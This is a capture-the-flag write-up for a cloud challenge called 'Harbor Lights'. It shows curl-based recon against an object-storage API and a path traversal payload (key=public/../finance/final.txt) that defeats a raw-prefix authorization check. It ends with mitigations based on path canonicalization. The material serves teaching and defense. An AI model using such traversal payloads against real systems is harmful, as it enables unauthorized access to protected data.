Writeup · SAF Pre-Qualifiers 2026

Harbor Lights

cloudeasy-mediumsolvedFlag: safctf{REDACTED}

Overview

The challenge presents a fictional harbor collection desk backed by an object-storage-style API. The provided storage.json describes the storage configuration and adapter (edge-store/4) and lists three inventory entries: public/lineup.txt, public/receipts.json, and finance/final.txt. The configured scope is public/*, but finance/final.txt lies outside it. The goal is to retrieve the protected object despite the namespace restriction.

The API exposes:

GET /api/objects   -> lists public object keys
GET /api/object?key=...   -> retrieves an object

Prerequisites / Setup

export TARGET="<challenge URL or IP>"

jq is used to pretty-print JSON output, but plain curl works too. Download storage.json from $TARGET/downloads/storage.json.

Recon

Step 1 — Download and inspect storage.json

Goal: Identify the configured scope and any inventory entries outside it.

cat storage.json
{
  "scope": "public/*",
  "inventory": ["public/lineup.txt", "public/receipts.json", "finance/final.txt"],
  "adapter": "edge-store/4"
}

Interpretation: The scope is public/*, but finance/final.txt is listed in the inventory outside that scope — a likely target.

Step 2 — Enumerate public objects via the API

Goal: Confirm which objects the API actually exposes.

curl -s "$TARGET/api/objects" | jq .
{
  "keys": ["public/lineup.txt", "public/receipts.json"]
}

Interpretation: The API exposes only the two public objects. finance/final.txt exists internally (per storage.json) but is intentionally hidden from the public listing.

Enumeration

Step 3 — Retrieve a public object to confirm baseline behavior

Goal: Verify object retrieval works for an in-scope key.

curl -iG "$TARGET/api/object" \
  --data-urlencode 'key=public/lineup.txt'
HTTP/1.1 200 OK
Content-Type: application/json

{"body": "The next performance begins at eight."}

Interpretation: In-scope objects are retrievable via GET /api/object?key=....

Step 4 — Test direct access to the hidden object

Goal: Confirm direct access to finance/final.txt is blocked.

curl -iG "$TARGET/api/object" \
  --data-urlencode 'key=finance/final.txt'
HTTP/1.1 403 FORBIDDEN

{"message": "The request could not be completed.", "ok": false}

Interpretation: Direct access to the finance object is blocked. The remaining question is how the application checks whether a key is inside public/*.

Vulnerability Analysis

The flaw class is Path Traversal / Improper Path Canonicalization (CWE-22) combined with an authorization bypass (CWE-284): the app authorizes the wrong representation of the path.

Conceptually, an insecure implementation behaves like:

if key.startswith("public/"):
    return get_object(key)

For key = "public/../finance/final.txt", the prefix check succeeds because the raw string starts with public/, while the storage layer resolves it to finance/final.txt.

Exploitation

Step 5 — Bypass the namespace restriction with path traversal

Goal: Retrieve finance/final.txt by satisfying the public/ prefix check while resolving outside it.

curl -iG "$TARGET/api/object" \
  --data-urlencode 'key=public/../finance/final.txt'
HTTP/1.1 200 OK
Content-Type: application/json

{"body": "safctf{REDACTED}"}

Interpretation: The traversal payload passes the apparent public-path requirement while resolving to the protected object — the flag is returned directly.

Flag

safctf{REDACTED}

Retrieved from finance/final.txt via GET /api/object?key=public/../finance/final.txt.

Dead Ends

None recorded — direct access to finance/final.txt was correctly blocked, and the traversal payload worked on the first attempt.

Lessons / Takeaways

  • Inspect challenge-provided configuration first: storage.json revealed the existence of finance/final.txt.
  • Compare the configured scope with the inventory — the discrepancy (public/* vs finance/final.txt) pointed at the target.
  • Enumerate normal API behavior before attacking: /api/objects showed only public objects.
  • When an API accepts paths, test canonicalization: public/../finance/final.txt bypassed the namespace restriction.
  • Authorization must be performed against the canonicalized resource, not the attacker-controlled raw path.

Mitigations

  • Canonicalize the requested path before performing the authorization check (normalize_path(key) then check startswith("public/")).
  • For filesystem-backed storage, resolve the path and verify it remains beneath the intended base directory (Path.resolve() + is_relative_to()).
  • Never authorize on a raw, attacker-supplied path.

Techniques

References